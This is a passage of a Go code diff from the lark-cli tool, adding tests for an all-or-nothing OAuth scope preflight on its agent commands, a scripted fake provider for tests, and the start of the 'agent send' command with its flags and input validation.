|
||||
}
|
||||
return preflightScopes(preflightInput{
|
||||
Identity: id,
|
||||
TokenScopes: storedUserScopes(f),
|
||||
Info: info,
|
||||
})
|
||||
}
|
||||
365
cmd/agent/preflight_test.go
Normal file
365
cmd/agent/preflight_test.go
Normal file
@@ -0,0 +1,365 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
|
||||
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
|
||||
// one of fakescopedAllScopes for any real API verb.
|
||||
func scopedInfo(t *testing.T) iagent.ProviderInfo {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
info, ok := iagent.Info("fakescoped")
|
||||
if !ok {
|
||||
t.Fatal("fakescoped provider should be registered")
|
||||
}
|
||||
return info
|
||||
}
|
||||
|
||||
// requirePreflightError asserts err is the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
|
||||
// value for field assertions.
|
||||
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("want missing_scope error, got nil")
|
||||
}
|
||||
var pe *errs.PermissionError
|
||||
if !errors.As(err, &pe) {
|
||||
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
if pe.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("exit code should be 3, got %d", code)
|
||||
}
|
||||
return pe
|
||||
}
|
||||
|
||||
// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
|
||||
// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
|
||||
// with EVERY missing scope named (sorted) in both the message and
|
||||
// missing_scopes, and a re-auth hint that merges the stored token scopes with
|
||||
// the provider's FULL RequiredScopes set (sorted, so re-running the login
|
||||
// command never drops an existing grant).
|
||||
func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
|
||||
t.Errorf("message should list all missing scopes, got %q", ve.Message)
|
||||
}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
// Merged hint: existing token scopes ∪ FULL provider RequiredScopes, sorted.
|
||||
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
|
||||
if !strings.Contains(ve.Hint, wantScopeArg) {
|
||||
t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
|
||||
// preflight is skipped entirely regardless of TokenScopes.
|
||||
func TestPreflightBotSkipped(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: nil,
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("bot identity should skip preflight, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
|
||||
// without a scope list) yields nil so the downstream not_configured /
|
||||
// need-authorization path owns the error.
|
||||
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: nil,
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("no token scope list should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
|
||||
// fakescoped scopes passes the all-or-nothing check.
|
||||
func TestPreflightAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("should pass when all scopes present, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
|
||||
// is missing even a single scope fails, and the reported missing set is exactly
|
||||
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
|
||||
// gone).
|
||||
func TestPreflightMissingAnyScopeFails(t *testing.T) {
|
||||
// Missing exactly one scope (attachment) → that one scope is reported.
|
||||
ve := requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{
|
||||
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
|
||||
},
|
||||
Info: scopedInfo(t),
|
||||
}))
|
||||
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
|
||||
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
|
||||
}
|
||||
|
||||
// Only the write scope → the other three are all reported.
|
||||
ve = requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
|
||||
}))
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Command wiring: each verb runs preflight after resolveProvider and before
|
||||
// any real API call. The stored-scope read goes through the storedUserScopes
|
||||
// seam so no test touches the real keychain; zero httpmock stubs are
|
||||
// registered, so any HTTP request would fail the test with a transport error
|
||||
// instead of the asserted missing_scope.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
|
||||
func swapStoredScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := storedUserScopes
|
||||
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { storedUserScopes = old })
|
||||
}
|
||||
|
||||
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
|
||||
// explicitly set to user so ResolveAs honors it verbatim.
|
||||
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
|
||||
t.Helper()
|
||||
parent := &cobra.Command{Use: "lark-cli"}
|
||||
for _, name := range names {
|
||||
child := &cobra.Command{Use: name}
|
||||
parent.AddCommand(child)
|
||||
parent = child
|
||||
}
|
||||
parent.Flags().String("as", "", "identity")
|
||||
if err := parent.Flags().Set("as", "user"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
parent.SetContext(context.Background())
|
||||
return parent
|
||||
}
|
||||
|
||||
// userFactory builds a test Factory + registry for a user-identity run.
|
||||
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f, reg
|
||||
}
|
||||
|
||||
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
|
||||
// holds none of the provider's scopes fails with missing_scope
|
||||
// (reporting the full set) and no request.
|
||||
func TestSendPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
|
||||
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
|
||||
// still fails the all-or-nothing check, reporting the three scopes it lacks.
|
||||
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
|
||||
// scope-free — it succeeds even when the token has none of the provider scopes.
|
||||
func TestSendDryRunSkipsPreflight(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("--dry-run should not run scope preflight: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
|
||||
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
|
||||
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
|
||||
// (resolveDownload path): it too runs the all-or-nothing preflight before the
|
||||
// API call.
|
||||
func TestTaskGetArtifactPreflightFires(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
ArtifactID: "art_1", Output: "out.bin",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
|
||||
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskListRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user",
|
||||
})
|
||||
requirePreflightError(t, err)
|
||||
}
|
||||
|
||||
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
|
||||
// wiring: all three run the all-or-nothing preflight.
|
||||
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
|
||||
runs := []struct {
|
||||
name string
|
||||
run func(f *cmdutil.Factory) error
|
||||
}{
|
||||
{"list", func(f *cmdutil.Factory) error {
|
||||
return agentContextListRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
|
||||
})
|
||||
}},
|
||||
{"get", func(f *cmdutil.Factory) error {
|
||||
return agentContextGetRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
|
||||
})
|
||||
}},
|
||||
{"delete", func(f *cmdutil.Factory) error {
|
||||
return agentContextDeleteRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
|
||||
})
|
||||
}},
|
||||
}
|
||||
for _, tc := range runs {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
requirePreflightError(t, tc.run(f))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
|
||||
// provider scope set lets the real send proceed (the scripted Send hook fires,
|
||||
// proving preflight did not false-positive).
|
||||
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
|
||||
swapStoredScopes(t, fakescopedAllScopes)
|
||||
f, _ := userFactory(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
|
||||
}})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Fatal("provider.Send should actually be called after preflight passes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
|
||||
// gate (fakescoped card declares task_cancel=false) answers before
|
||||
// provider/preflight, so a scope-missing user token yields
|
||||
// unsupported_capability, not missing_scope — proving the wired
|
||||
// preflight does not change the gate-first ordering.
|
||||
func TestTaskCancelPreflightWired(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// contains reports whether s appears in the slice.
|
||||
func contains(ss []string, s string) bool {
|
||||
for _, x := range ss {
|
||||
if x == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
10
cmd/agent/register_test.go
Normal file
10
cmd/agent/register_test.go
Normal file
@@ -0,0 +1,10 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// The example provider self-registers via init(); in production it is pulled in
|
||||
// by the top-level agent package (blank-imported from cmd/build.go), not by
|
||||
// cmd/agent. Several tests here exercise the real example scheme (example:echo /
|
||||
// example:reporter), so register it explicitly for the test binary.
|
||||
import _ "github.com/larksuite/cli/agent/example"
|
||||
146
cmd/agent/scripted_provider_test.go
Normal file
146
cmd/agent/scripted_provider_test.go
Normal file
@@ -0,0 +1,146 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
|
||||
// one Provider func field; an unset hook that gets called panics — a tripwire
|
||||
// against a test reaching an unexpected provider path. This replaces the old
|
||||
// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
|
||||
// the command-layer contracts under test (envelope shape, watch exit codes,
|
||||
// meta.next, pretty rendering, error propagation) are provider-neutral.
|
||||
type scriptedHooks struct {
|
||||
send func(in iagent.SendInput) (*iagent.AgentTask, error)
|
||||
getTask func(taskID string) (*iagent.AgentTask, error)
|
||||
listTasks func(contextID string) ([]iagent.TaskSummary, error)
|
||||
listContexts func() ([]iagent.ContextSummary, error)
|
||||
getContext func(ctxID string) (*iagent.ContextDetail, error)
|
||||
deleteContext func(ctxID string) error
|
||||
downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
|
||||
}
|
||||
|
||||
// scripted is the package-level hook set shared by every scripted provider
|
||||
// instance (the registry factory cannot be re-pointed per test, the hooks can).
|
||||
var scripted scriptedHooks
|
||||
|
||||
// setScripted installs the hooks for one test and restores the empty (panic
|
||||
// tripwire) set on cleanup.
|
||||
func setScripted(t *testing.T, h scriptedHooks) {
|
||||
t.Helper()
|
||||
scripted = h
|
||||
t.Cleanup(func() { scripted = scriptedHooks{} })
|
||||
}
|
||||
|
||||
// newScriptedProvider builds a scripted *Provider. Its capability surface is
|
||||
// fixed by which fields are wired (the framework derives the card from this):
|
||||
// CancelTask is deliberately left unwired so task_cancel=false (the command
|
||||
// layer's cancel gate is exercised via example:echo); everything else the
|
||||
// command tests drive is wired, and FileInput=true so the --file gate/confirm
|
||||
// path is reachable. Each wired func delegates to the per-test hook and panics
|
||||
// if that hook was not set (tripwire against an unexpected provider path).
|
||||
func newScriptedProvider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
if scripted.send == nil {
|
||||
panic("scripted provider: Send hook not set")
|
||||
}
|
||||
return scripted.send(in)
|
||||
},
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
if scripted.getTask == nil {
|
||||
panic("scripted provider: GetTask hook not set")
|
||||
}
|
||||
return scripted.getTask(taskID)
|
||||
},
|
||||
ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
|
||||
if scripted.listTasks == nil {
|
||||
panic("scripted provider: ListTasks hook not set")
|
||||
}
|
||||
return scripted.listTasks(contextID)
|
||||
},
|
||||
ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
|
||||
if scripted.listContexts == nil {
|
||||
panic("scripted provider: ListContexts hook not set")
|
||||
}
|
||||
return scripted.listContexts()
|
||||
},
|
||||
GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
|
||||
if scripted.getContext == nil {
|
||||
panic("scripted provider: GetContext hook not set")
|
||||
}
|
||||
return scripted.getContext(ctxID)
|
||||
},
|
||||
DeleteContext: func(ctx context.Context, ctxID string) error {
|
||||
if scripted.deleteContext == nil {
|
||||
panic("scripted provider: DeleteContext hook not set")
|
||||
}
|
||||
return scripted.deleteContext(ctxID)
|
||||
},
|
||||
DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
|
||||
if scripted.downloadArtifact == nil {
|
||||
panic("scripted provider: DownloadArtifact hook not set")
|
||||
}
|
||||
return scripted.downloadArtifact(taskID, artifactID)
|
||||
},
|
||||
FileInput: true,
|
||||
}
|
||||
}
|
||||
|
||||
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
|
||||
// provider, sorted — the all-or-nothing preflight requires every one of these
|
||||
// for any real API verb.
|
||||
var fakescopedAllScopes = []string{
|
||||
"fakescoped:agent_artifact:read",
|
||||
"fakescoped:agent_attachment:write",
|
||||
"fakescoped:agent_chat:read",
|
||||
"fakescoped:agent_chat:write",
|
||||
}
|
||||
|
||||
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
|
||||
// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
|
||||
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id(形如 agt_xxx)"
|
||||
|
||||
// registerScripted registers the two scripted schemes exactly once (Register
|
||||
// panics on duplicates). Like the other fakes they leak into the package-level
|
||||
// registry for the remaining tests of this package run — so no test in this
|
||||
// package may assert an exact provider set or provider count.
|
||||
//
|
||||
// - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
|
||||
// the workhorse for send/task/context command-layer tests.
|
||||
// - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
|
||||
// the scope-preflight framework tests.
|
||||
var registerScriptedOnce sync.Once
|
||||
|
||||
func registerScripted() {
|
||||
registerScriptedOnce.Do(func() {
|
||||
iagent.Register("fakeflow", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
return newScriptedProvider(), nil
|
||||
},
|
||||
Label: "test fake (scripted flow)",
|
||||
AgentRefFormat: "fakeflow:<agent_id>",
|
||||
AgentIDSource: fakeflowAgentIDSource,
|
||||
Kind: iagent.KindInstance,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
iagent.Register("fakescoped", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
|
||||
return newScriptedProvider(), nil
|
||||
},
|
||||
Label: "test fake (scoped)",
|
||||
AgentRefFormat: "fakescoped:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindInstance,
|
||||
RequiredScopes: fakescopedAllScopes,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
})
|
||||
}
|
||||
341
cmd/agent/send.go
Normal file
341
cmd/agent/send.go
Normal file
@@ -0,0 +1,341 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendOptions holds all inputs for `agent send <ref>`.
|
||||
type sendOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
Text string
|
||||
Files []string
|
||||
Params []string
|
||||
ContextID string
|
||||
TaskID string
|
||||
DryRun bool
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
|
||||
// agent, starting a new task or continuing an existing one. `--dry-run`
|
||||
// validates the inputs against the agent Card and prints the request preview
|
||||
// without any API call (always available). A send fires and returns the
|
||||
// current task immediately; poll progress with
|
||||
// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
|
||||
// `--file` uploads local files to the remote agent — the content leaves this
|
||||
// machine. Risk=write. runF, when non-nil, replaces the production run path
|
||||
// (test seam).
|
||||
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
|
||||
opts := &sendOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "send <agent_ref>",
|
||||
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
|
||||
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
|
||||
"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
|
||||
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
|
||||
"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
if runF != nil {
|
||||
return runF(opts)
|
||||
}
|
||||
return agentSendRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文(必填)")
|
||||
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider(内容离开本机)")
|
||||
cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value,可重复(据 card 的 parameters 决定)")
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id(续发同一会话)")
|
||||
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
|
||||
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10,不上传)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentSendRun validates the send inputs, resolves the provider, and either
|
||||
// prints a dry-run preview or dispatches the message. The two client-side input
|
||||
// guards (empty --text; --task-id without --context-id) run first so they never
|
||||
// touch the network and hold even under a nil Factory. A send fires once
|
||||
// and returns the current task immediately (exit 0); the caller polls progress
|
||||
// via the meta.next `task get ... --watch` hint.
|
||||
func agentSendRun(opts *sendOptions) error {
|
||||
if opts.Text == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
|
||||
WithParam("--text").
|
||||
WithHint(`补充 --text "<消息内容>" 后重发`)
|
||||
}
|
||||
if opts.TaskID != "" && opts.ContextID == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--task-id 需与 --context-id 一起使用").
|
||||
WithParam("--task-id").
|
||||
WithHint("--task-id 必须与 --context-id 同时提供")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// Card lookup + --param validation + --dry-run are API-free:
|
||||
// resolve without a configured client so they work — and surface validation
|
||||
// errors as exit 2 — before the config gate, even when unconfigured.
|
||||
p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r, err := iagent.ParseRef(opts.Ref)
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
in := iagent.SendInput{
|
||||
Text: opts.Text,
|
||||
Files: opts.Files,
|
||||
Params: params,
|
||||
ContextID: opts.ContextID,
|
||||
TaskID: opts.TaskID,
|
||||
}
|
||||
|
||||
// --dry-run is a client-side behavior: always available, never
|
||||
// gated by the Card's dry_run capability, and never touches the API.
|
||||
if opts.DryRun {
|
||||
return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
|
||||
}
|
||||
|
||||
if len(in.Files) > 0 {
|
||||
// An agent that does not declare file_input cannot take an upload, so
|
||||
// --file against it is unsupported_capability — gated before any network
|
||||
// access, so the user is not told "confirm the upload" for a send that
|
||||
// would be rejected anyway.
|
||||
if !card.Supports(iagent.CapFileInput) {
|
||||
return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
|
||||
}
|
||||
